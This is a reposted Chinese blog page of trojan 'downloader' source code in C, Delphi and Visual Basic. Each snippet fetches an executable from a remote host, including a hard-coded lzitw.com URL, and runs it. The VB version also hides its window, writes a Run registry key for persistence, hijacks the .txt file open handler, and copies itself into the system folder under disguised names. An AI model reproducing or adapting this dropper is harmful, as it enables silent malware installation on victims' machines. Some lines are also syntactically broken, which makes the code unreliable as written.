- 浏览: 25713 次
最新评论
三种语言的下载者源代码:C Delphi Vb
2010年01月25日
查看文章
三种语言的下载者源代码:C Delphi Vb2007年10月27日 星期六 下午 07:20
Code Language : C
#include
#include
#include
#include //这里这个头文件是对ShellExecute的定义
#pragma comment (lib,"Urlmon.lib")
int main()
{
URLDownloadToFile(NULL,"http://www.lzitw.com/kj/hoho.exe","C:\test.exe",0,NULL);
ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW);
return 0;
}
=============================================================================================
Parsed in 0.003
secondsCode Language : Delphi
//调用API
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms,
Dialogs, StdCtrls, ExtDlgs, ShellAPI;
//调用的API函数
ShellExecute
URLDownloadTofile
//在Delpihi在窗体运行的那个过程(form1.CREAT)里写上
URLDownloadToFile (0, '木马地址', 'c:\蓝梦泽.exe', 0, 0
ShellExecute (0, 'Open', 'c:\fhm.exe', nil, nil, SW_SHOWNORMAL);
========================================================================================================
Parsed in 0.009 secondsCode Language : Visual Basic
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)'延迟1秒
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By value.
Const Key_Run = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1 ' Unicode nul terminated string
Dim LhKey As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Sys As String '系统目录
Private US As String '自己
Private Tmp As String '临时文件夹
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Sub form_Load()
On Error Resume Next
Dim RegEdit As Object, Apppath As String
Dim Cp As String
Dim Ret As Long
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
form1.Visible = False
Sys = String(255, 0)
Ret = GetSystemDirectory(Sys, 255)
Sys = Left(Sys, Ret) '获得系统目录
US = String(1024, 0) '获得自己的完整路径
Ret = GetModuleFileName(0, US, 1024)
US = Left(US, InStr(US, Chr(0)) - 1)
Tmp = Temp '获得完整临时目录
If Dir(Sys & "\" & "hoho.exe") = "" Then
Ret = URLDownloadToFile(0, "http://www.lzitw.com/kj/hoho.exe", Sys & "\hoho.exe", 0, 0)
End If
Cp = Sys & "\system.exe"
Ret = RegCreateKey(HKEY_LOCAL_MACHINE, Key_Run, LhKey) '写入注册表,以便开机重启
Ret = RegSetvalueEx(LhKey, "server", 0&, REG_SZ, ByVal Cp, Len(Cp) + 1)
Ret = RegCloseKey(LhKey)
If InStr(UCase(US), "INETDBS") = 0 Then
End If
Apppath = IIf(Right(App.Path, 1) = "\", Left(App.Path, Len(App.Path) - 1), App.Path)
'取得当前路径,如果是在根目录下就要去掉一个“\"
Set RegEdit = CreateObject("WScript.Shell")
RegEdit.regwrite "HKEY_CLASSES_ROOT\txtfile\shell\open\command\", Sys & "\" & "rund1132" & ".exe %1"
On Error Resume Next
Dim cmd As String
cmd = Command()
If cmd "" Then
Shell "NOTEPAD.EXE " & cmd, vbNormalFocus
End If
On Error Resume Next
FileCopy sCurrentPath, Sys & "\System.exe"
On Error Resume Next
FileCopy sCurrentPath, Sys & "\" & "\rund1132.exe"
SetAttr Sys & "\" & "\rund1132.exe", 7
'判断程序是否下在运行
If App.PrevInstance Then
End
End If
Kill Sys & "\systrsy.exe"
Do While Dir(Sys & "\" & "systrsy.exe") = ""
Ret = URLDownloadToFile(0, "url", Sys & "\systrsy.exe", 0, 0)
Call Sleep(100000)
Loop
Shell Sys & "\" & "systrsy" & ".exe", vbNormalFocus
Parsed in 0.078 seconds
转载:http://hi.baidu.com/shi_yi/blog/item/b9ba7c597170a9292834f095.html
发表评论
-
在Windows下安装Hadoop遇到的几个问题
2012-01-20 01:02 858在Windows下安装Hadoop遇到 ... -
windows下使用gcc编译boost库
2012-01-20 01:02 3537windows下使用gcc编译boost ... -
Visual Studio 2008 SP1 补丁安装时发生严重错误-安装失败-解决方法整合版!-分享
2012-01-20 01:02 2889Visual Studio 2008 SP1 补丁 ... -
编译 boost
2012-01-20 01:02 810编译 boost 2011年05月17日 ... -
将 Flex 3 的应用程序迁移到 Flex 4 ―第 1 部分:将 Flex 3 Dashboard 应用程序导入 Flash Builder 4
2012-01-20 01:02 696将 Flex 3 的应用程序迁移到 Flex 4 ―第 1 部 ... -
网络语言进课堂:上海禁止北京面对
2012-01-19 08:51 668网络语言进课堂:上海禁 ... -
跟着我去流浪
2012-01-19 08:51 624跟着我去流浪 2011年09 ... -
关于非诚勿扰
2012-01-19 08:51 659关于非诚勿扰 2012年01月17日 ... -
全国十大美女城市客观排行 2008/03/08 11:0
2012-01-19 08:51 703全国十大美女城市客观排行 2008/03/08 11:0 2 ... -
CUDA的VISUAL STUDIO 2008环境配置(转)
2012-01-17 01:19 1054CUDA的VISUAL STUDIO 2008环境配置(转) ... -
3dsmax使用哪个版本好
2012-01-17 01:19 37443dsmax使用哪个版本好 20 ... -
关于Android的一些设计
2012-01-17 01:19 660关于Android的一些设计 2012年01月13日 ... -
WMI(Windows管理规范)常见问题解答
2012-01-17 01:19 719WMI(Windows管理规范)常见 ... -
下载安卓源代码过程
2012-01-17 01:19 691下载安卓源代码过程 2011年12月23日 linux和 ... -
学编程的同学看看
2012-01-15 20:02 638学编程的同学看看 2009年11月21日 ... -
发几个vb整人小程序代码.第一次发帖.希望大家多多支持
2012-01-15 20:02 1227发几个vb整人小程序代 ... -
VB制作快捷打开电脑里的应用软件比如:我的电脑 网上邻居 等....
2012-01-15 20:01 632VB制作快捷打开电脑里的应用软件比如:我的电脑 网上邻居 等. ... -
VB如何连接帮助文件
2012-01-15 20:01 788VB如何连接帮助文件 2009年12月04日 VB如何 ... -
关于在后台实现前台表单的格式验证设计(annotation+spring aop)iteye技术网站
2012-01-11 12:12 737关于在后台实现前台表单的格式验证设计(annotation+s ... -
java操作word等
2012-01-11 12:12 506java操作word等 2011年05月01日 1、一个 ...
相关推荐
源代码行数统计,能统计c,c++,c#,java,vb,delphi等各种源程序文件
内容索引:VB源码,文件操作,源代码 VB编写程序实现VB源码转换为Delphi源码,这是一个老外程序,可以顺利编译,具体转换效果怎么样,请大家自己测试。
DELPHI与200PLC串口通信实例源代码,基于PPI通讯协议通过DLL与西门子200PLC位机通信实例,内含一个VB版的串口通信例子,为了使代码更简洁,本实例仅提供V区操作,但这实际已经可以满足日常应用了。
可用于对VC++、C++ Builder、Delphi、VB、C/C++、ASM等程序源代码进行详细的统计,可以非常精确的得到程序中代码行、注释行和空白行的行数。程序会自动根据你选择的文件类型进行统计,并将所有文件的分析结果进行...
IC卡读写器DELPHI源代码压缩包,还有其他几种语言,如vb、vb.net、c#等
VBto Converter是来自国外的一款简单实用,功能强大的VB6源代码转换工具,它是一款实用的编程工具软件,可以将Microsoft Visual Basic 6.0 project(包括源代码)转换成MS VC++ MFC, VC++.NET (CLR), VBNET, C#, J#,...
真正的打地鼠游戏源代码,Delphi 结合图片完成漂亮的皮肤,以前烈火给大家介绍过网页版打地鼠和VB简易的类似打地鼠,都不如本例,您下载源码后,直接使用Delphi7可直接编译,截图如下:
现在的程序员,不再像以前一样,掌握一种编程语言就可以混得有模有样了,现实的情况是,真实的项目中,通常是涉及多种编程语言,举几个简单的例子,一个软件为了快速开发,可能是使用Delphi或VB作为界面开发首选语言...
基于周立功CAN卡的上位机源代码,包含C#、VB、VC、delphi7、labview等平台,可在此基础上二次开发各种上位机
五子棋源代码 Turbo C 2.0 另有Delphi、VB源代码。
遵循标准Modbus协议的调试工具(含源代码),很方面的一款工具。基础串口的。
大量源代码:软件中用到的所有组件,包括每一个按钮,均是自己所写.形成了自己风格的完整的一套组件库.他们包括:列表,文件管理,菜单等3. 由以下功能模块组成:邮件;新闻组;FTP;任务及其在之基础上的相应管理.如文件管理...
源代码统计精灵 挺有意思的 主要功能如下: * 支持对 30 多种代码格式进行统计 o 可以对 C++、VB.Net、VB、C#、JAVA、Delphi、ASP.Net、ASP、JSP、HTML 等项目进行统计 * 支持多目录和包含子目录的统计方式
LED继电器开发的VB和DELPHI例子
使用它,你可以统计 Delphi、BCB工程及工程组,VB工程所有代码文件的行数,并可将结果输出为文本或导出到Excel表,你只需选择一个工程或工程组文件即可! RowCounter 中可能有不少对初学者有用的小技巧,如 ListView...
modbus 采用RTU协议时采用VB或者DELPHI调用的源代码实例。modbus 采用RTU协议是工业行业485控制的主要方式
免费源代码行数统计工具,支持20多种代码格式。具有统计迅速、准确的优点,是程序开发人员的必备工具。可以对C++、VB.Net、VB、C#、JAVA、Delphi、ASP.Net、ASP、JSP、PHP、HTML 等项目的代码行数、工数和成本进行...
计算器-delphi7
五子棋Delphi源代码(电脑自动下),另有vb、QB、Turbo C 2.0源代码。
免费的源代码行数统计工具,可以对 VC/JAVA/VB/Delphi/ASP/HTML 等20多种代码格式进行统计,并能保存统计的结果。 最新版本发布(What's New) 2.0版本 + 支持更多文件类型 + 支持多目录统计 SourceCounter(源...